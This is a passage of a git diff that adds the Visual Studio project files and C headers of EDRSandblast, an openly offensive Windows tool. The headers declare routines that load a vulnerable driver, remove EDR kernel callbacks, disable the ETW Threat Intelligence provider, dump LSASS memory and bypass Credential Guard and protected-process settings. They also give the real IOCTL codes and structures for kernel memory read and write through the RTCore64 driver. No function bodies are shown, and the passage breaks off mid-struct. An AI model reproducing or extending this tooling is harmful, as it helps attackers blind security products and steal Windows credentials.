<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
|
||||||
|
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
|
||||||
|
<ClCompile Include="EDRSandblast.c" />
|
||||||
|
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||||
|
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
|
||||||
|
<ClCompile Include="Userland\PEBBrowse.c" />
|
||||||
|
<ClCompile Include="Userland\PEParser.c" />
|
||||||
|
<ClCompile Include="Userland\UserlandHooks.c" />
|
||||||
|
<ClCompile Include="Utils\DriverOps.c" />
|
||||||
|
<ClCompile Include="Utils\FileVersion.c" />
|
||||||
|
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
|
||||||
|
<ClCompile Include="Utils\KernelPatternSearch.c" />
|
||||||
|
<ClCompile Include="Utils\LSASSDump.c" />
|
||||||
|
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
|
||||||
|
<ClCompile Include="Utils\WdigestOffsets.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Includes\DriverOps.h" />
|
||||||
|
<ClInclude Include="EDRSandBlast.h" />
|
||||||
|
<ClInclude Include="Includes\ETWThreatIntel.h" />
|
||||||
|
<ClInclude Include="Includes\FileVersion.h" />
|
||||||
|
<ClInclude Include="Includes\Globals.h" />
|
||||||
|
<ClInclude Include="Includes\KernelCallbacks.h" />
|
||||||
|
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
|
||||||
|
<ClInclude Include="Includes\KernelPatternSearch.h" />
|
||||||
|
<ClInclude Include="Includes\LSASSDump.h" />
|
||||||
|
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
|
||||||
|
<ClInclude Include="Includes\PEBBrowse.h" />
|
||||||
|
<ClInclude Include="Includes\PEParser.h" />
|
||||||
|
<ClInclude Include="Includes\Undoc.h" />
|
||||||
|
<ClInclude Include="Includes\Undoc_64.h" />
|
||||||
|
<ClInclude Include="Includes\UserlandHooks.h" />
|
||||||
|
<ClInclude Include="Includes\WdigestOffsets.h" />
|
||||||
|
<ClInclude Include="Includes\CredGuard.h" />
|
||||||
|
<ClInclude Include="Includes\RunAsPPL.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,123 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Source Files\LSASSProtectionBypass">
|
||||||
|
<UniqueIdentifier>{54b0d87a-da5b-4c62-99f2-30e8848bbfda}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="EDRSandblast.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="EDRBypass\KernelCallbacks.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Utils\KernelMemoryPrimitives.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Utils\DriverOps.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Utils\LSASSDump.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Utils\FileVersion.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Utils\KernelPatternSearch.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Utils\NtoskrnlOffsets.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Utils\WdigestOffsets.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Userland\PEBBrowse.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Userland\PEParser.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Userland\UserlandHooks.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Includes\CredGuard.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\RunAsPPL.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="EDRSandBlast.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\DriverOps.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\LSASSDump.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\FileVersion.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\KernelPatternSearch.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\NtoskrnlOffsets.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\WdigestOffsets.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\KernelCallbacks.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\Globals.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\ETWThreatIntel.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\PEBBrowse.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\PEParser.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\Undoc.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\Undoc_64.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Includes\UserlandHooks.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include <Psapi.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
|
||||||
|
#include "Globals.h"
|
||||||
|
#include "WdigestOffsets.h"
|
||||||
|
|
||||||
|
DWORD WINAPI disableCredGuardByPatchingLSASS(void);
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Driver install / uninstall functions.
|
||||||
|
--- Source and credit: https://github.com/gentilkiwi/mimikatz
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <aclapi.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "Globals.h"
|
||||||
|
|
||||||
|
#if !defined(PRINT_ERROR_AUTO)
|
||||||
|
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||||
|
#define OP_SLEEP_TIME 1000
|
||||||
|
|
||||||
|
BOOL InstallVulnerableDriver(TCHAR* driverPath);
|
||||||
|
|
||||||
|
BOOL UninstallVulnerableDriver();
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- ETW Threat Intelligence operations.
|
||||||
|
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "Globals.h"
|
||||||
|
#include "KernelMemoryPrimitives.h"
|
||||||
|
#include "NtoskrnlOffsets.h"
|
||||||
|
|
||||||
|
#define DISABLE_PROVIDER 0x0
|
||||||
|
#define ENABLE_PROVIDER 0x1
|
||||||
|
|
||||||
|
DWORD64 GetEtwThreatIntProvRegHandleAddress();
|
||||||
|
|
||||||
|
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose);
|
||||||
|
|
||||||
|
void DisableETWThreatIntelProvider(BOOL verbose);
|
||||||
|
|
||||||
|
void EnableETWThreatIntelProvider(BOOL verbose);
|
||||||
|
|
||||||
|
BOOL isETWThreatIntelProviderEnabled(BOOL verbose);
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
|
||||||
|
|
||||||
|
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
|
||||||
|
|
||||||
|
void GetWdigestVersion(TCHAR* wdigestVersion);
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
const TCHAR *gVulnDriverServiceName;
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Kernel callbacks operations.
|
||||||
|
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "Globals.h"
|
||||||
|
#include "DriverOps.h"
|
||||||
|
#include "KernelMemoryPrimitives.h"
|
||||||
|
#include "NtoskrnlOffsets.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine max: 64 callbacks
|
||||||
|
* PspLoadImageNotifyRoutine max: 8 callbacks
|
||||||
|
* Source: https://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel
|
||||||
|
*/
|
||||||
|
#define PSP_MAX_CALLBACKS 0x40
|
||||||
|
|
||||||
|
struct KRNL_CALLBACK {
|
||||||
|
TCHAR const* driver;
|
||||||
|
DWORD64 callback_addr;
|
||||||
|
DWORD64 callback_struct;
|
||||||
|
DWORD64 callback_func;
|
||||||
|
BOOL removed;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct FOUND_EDR_CALLBACKS {
|
||||||
|
DWORD64 index;
|
||||||
|
struct KRNL_CALLBACK EDR_CALLBACKS[256];
|
||||||
|
};
|
||||||
|
|
||||||
|
TCHAR const* EDR_DRIVERS[];
|
||||||
|
|
||||||
|
BOOL isDriverEDR(TCHAR* driver);
|
||||||
|
|
||||||
|
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
------ Process (PspCreateProcessNotifyRoutine) callbacks.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
DWORD64 GetPspCreateProcessNotifyRoutineAddress(void);
|
||||||
|
|
||||||
|
void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||||
|
|
||||||
|
void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
------ Thread (PspCreateThreadNotifyRoutine) callbacks.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
DWORD64 GetPspCreateThreadNotifyRoutineAddress(void);
|
||||||
|
|
||||||
|
void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||||
|
|
||||||
|
void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
------ Image loading (PspLoadImageNotifyRoutine) callbacks.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
DWORD64 GetPspLoadImageNotifyRoutineAddress(void);
|
||||||
|
|
||||||
|
void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||||
|
|
||||||
|
void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
------ All EDR Kernel callbacks enumeration / removal.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||||
|
|
||||||
|
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||||
|
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Psapi.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "Globals.h"
|
||||||
|
|
||||||
|
struct RTCORE64_MSR_READ {
|
||||||
|
DWORD Register;
|
||||||
|
DWORD ValueHigh;
|
||||||
|
DWORD ValueLow;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct RTCORE64_MEMORY_READ {
|
||||||
|
BYTE Pad0[8];
|
||||||
|
DWORD64 Address;
|
||||||
|
BYTE Pad1[8];
|
||||||
|
DWORD ReadSize;
|
||||||
|
DWORD Value;
|
||||||
|
BYTE Pad3[16];
|
||||||
|
};
|
||||||
|
|
||||||
|
struct RTCORE64_MEMORY_WRITE {
|
||||||
|
BYTE Pad0[8];
|
||||||
|
DWORD64 Address;
|
||||||
|
BYTE Pad1[8];
|
||||||
|
DWORD ReadSize;
|
||||||
|
DWORD Value;
|
||||||
|
BYTE Pad3[16];
|
||||||
|
};
|
||||||
|
|
||||||
|
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
|
||||||
|
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||||
|
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||||
|
|
||||||
|
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
|
||||||
|
|
||||||
|
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
|
||||||
|
|
||||||
|
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
|
||||||
|
|
||||||
|
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
|
||||||
|
|
||||||
|
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||||
|
|
||||||
|
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||||
|
|
||||||
|
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
--- Kernel exploitation helpers.
|
||||||
|
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||||
|
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||||
|
|
||||||
|
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
|
||||||
|
|
||||||
|
HANDLE GetDriverHandle();
|
||||||
|
|
||||||
|
DWORD64 GetFunctionAddress(LPCSTR function);
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- ntoskrnl Notify Routines' offsets search functions using patterns.
|
||||||
|
--- Ultimately not used because too unreliable and too prone to BSoD.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "KernelMemoryPrimitives.h"
|
||||||
|
|
||||||
|
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask);
|
||||||
|
|
||||||
|
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset);
|
||||||
|
|
||||||
|
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void);
|
||||||
|
|
||||||
|
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void);
|
||||||
|
|
||||||
|
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void);
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- LSASS dump functions.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Dbghelp.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
|
||||||
|
DWORD WINAPI dumpLSASSProcess(void* data);
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- ntoskrnl Notify Routines' offsets from CSV functions.
|
||||||
|
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
|
||||||
|
#include "Globals.h"
|
||||||
|
#include "FileVersion.h"
|
||||||
|
|
||||||
|
enum NtoskrnlOffsetType {
|
||||||
|
CREATE_PROCESS_ROUTINE = 0,
|
||||||
|
CREATE_THREAD_ROUTINE = 1,
|
||||||
|
LOAD_IMAGE_ROUTINE = 2,
|
||||||
|
PROTECTION_LEVEL = 3,
|
||||||
|
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
|
||||||
|
ETW_REG_ENTRY_GUIDENTRY = 5,
|
||||||
|
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
|
||||||
|
_SUPPORTED_NTOSKRNL_OFFSETS_END
|
||||||
|
};
|
||||||
|
|
||||||
|
union NtoskrnlOffsets {
|
||||||
|
// structure version of ntoskrnl.exe's offsets
|
||||||
|
struct {
|
||||||
|
// ntoskrnl's PspCreateProcessNotifyRoutine
|
||||||
|
DWORD64 pspCreateProcessNotifyRoutine;
|
||||||
|
// ntoskrnl's PspCreateThreadNotifyRoutine
|
||||||
|
DWORD64 pspCreateThreadNotifyRoutine;
|
||||||
|
// ntoskrnl's PspLoadImageNotifyRoutine
|
||||||
|
DWORD64 pspLoadImageNotifyRoutine;
|
||||||
|
// ntoskrnl EPROCESS's _PS_PROTECTION
|
||||||
|
DWORD64 ps_protection;
|
||||||
|
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
|
||||||
|
DWORD64 etwThreatIntProvRegHandle;
|
||||||
|
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
|
||||||
|
DWORD64 etwRegEntry_GuidEntry;
|
||||||
|
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
|
||||||
|
DWORD64 etwGuidEntry_ProviderEnableInfo;
|
||||||
|
} st;
|
||||||
|
|
||||||
|
// array version (usefull for code factoring)
|
||||||
|
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
|
||||||
|
};
|
||||||
|
|
||||||
|
union NtoskrnlOffsets ntoskrnlOffsets;
|
||||||
|
|
||||||
|
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||||
|
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Undoc.h"
|
||||||
|
|
||||||
|
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr);
|
||||||
|
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name);
|
||||||
|
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr);
|
||||||
|
|
||||||
|
#if _WIN64
|
||||||
|
PEB64* getPEB();
|
||||||
|
TEB64* getTEB();
|
||||||
|
#else
|
||||||
|
PEB* getPEB(void);
|
||||||
|
TEB* getTEB(void);
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
typedef unsigned __int64 QWORD;
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _IMAGE_RELOCATION_ENTRY {
|
||||||
|
WORD Offset : 12;
|
||||||
|
WORD Type : 4;
|
||||||
|
} IMAGE_RELOCATION_ENTRY;
|
||||||
|
|
||||||
|
typedef struct PE_relocation_t {
|
||||||
|
DWORD RVA;
|
||||||
|
WORD Type : 4;
|
||||||
|
} PE_relocation;
|
||||||
|
|
||||||
|
typedef struct PE_pointers {
|
||||||
|
BOOL isMemoryMapped;
|
||||||
|
BOOL isInAnotherAddressSpace;
|
||||||
|
HANDLE hProcess;
|
||||||
|
PVOID baseAddress;
|
||||||
|
//headers ptrs
|
||||||
|
IMAGE_DOS_HEADER* dosHeader;
|
||||||
|
IMAGE_NT_HEADERS* ntHeader;
|
||||||
|
IMAGE_OPTIONAL_HEADER* optHeader;
|
||||||
|
IMAGE_DATA_DIRECTORY* dataDir;
|
||||||
|
IMAGE_SECTION_HEADER* sectionHeaders;
|
||||||
|
//export info
|
||||||
|
IMAGE_EXPORT_DIRECTORY* exportDirectory;
|
||||||
|
LPDWORD exportedNames;
|
||||||
|
DWORD exportedNamesLength;
|
||||||
|
LPDWORD exportedFunctions;
|
||||||
|
LPWORD exportedOrdinals;
|
||||||
|
//relocations info
|
||||||
|
DWORD nbRelocations;
|
||||||
|
PE_relocation* relocations;
|
||||||
|
} PE;
|
||||||
|
|
||||||
|
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
|
||||||
|
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase);
|
||||||
|
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva);
|
||||||
|
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr);
|
||||||
|
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva);
|
||||||
|
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable);
|
||||||
|
DWORD PE_functionRVA(PE* pe, LPCSTR functionName);
|
||||||
|
PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
|
||||||
|
VOID PE_parseRelocations(PE* pe);
|
||||||
|
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
|
||||||
|
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
|
||||||
|
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
|
||||||
|
--- The code to locate the EPROCESS structure is adapted from:
|
||||||
|
http://blog.rewolf.pl/blog/?p=1683
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "Globals.h"
|
||||||
|
#include "KernelMemoryPrimitives.h"
|
||||||
|
#include "NtoskrnlOffsets.h"
|
||||||
|
|
||||||
|
//extern union NtoskrnlOffsets ntoskrnlOffsets;
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||||
|
#endif
|
||||||
|
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||||
|
|
||||||
|
#define PROTECTED_PROCESS_MASK 0x00000800
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Defines the NtQuerySystemInformation function.
|
||||||
|
* Undocumented function with a signature subject to possible change in futher Windows versions.
|
||||||
|
*/
|
||||||
|
#define SystemHandleInformation 0x10
|
||||||
|
#define SystemHandleInformationBaseSize 0x1000
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
|
||||||
|
ULONG SystemInformationClass,
|
||||||
|
PVOID SystemInformation,
|
||||||
|
ULONG SystemInformationLength,
|
||||||
|
PULONG ReturnLength
|
||||||
|
);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm
|
||||||
|
*/
|
||||||
|
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
||||||
|
USHORT UniqueProcessId;
|
||||||
|
USHORT CreatorBackTraceIndex;
|
||||||
|
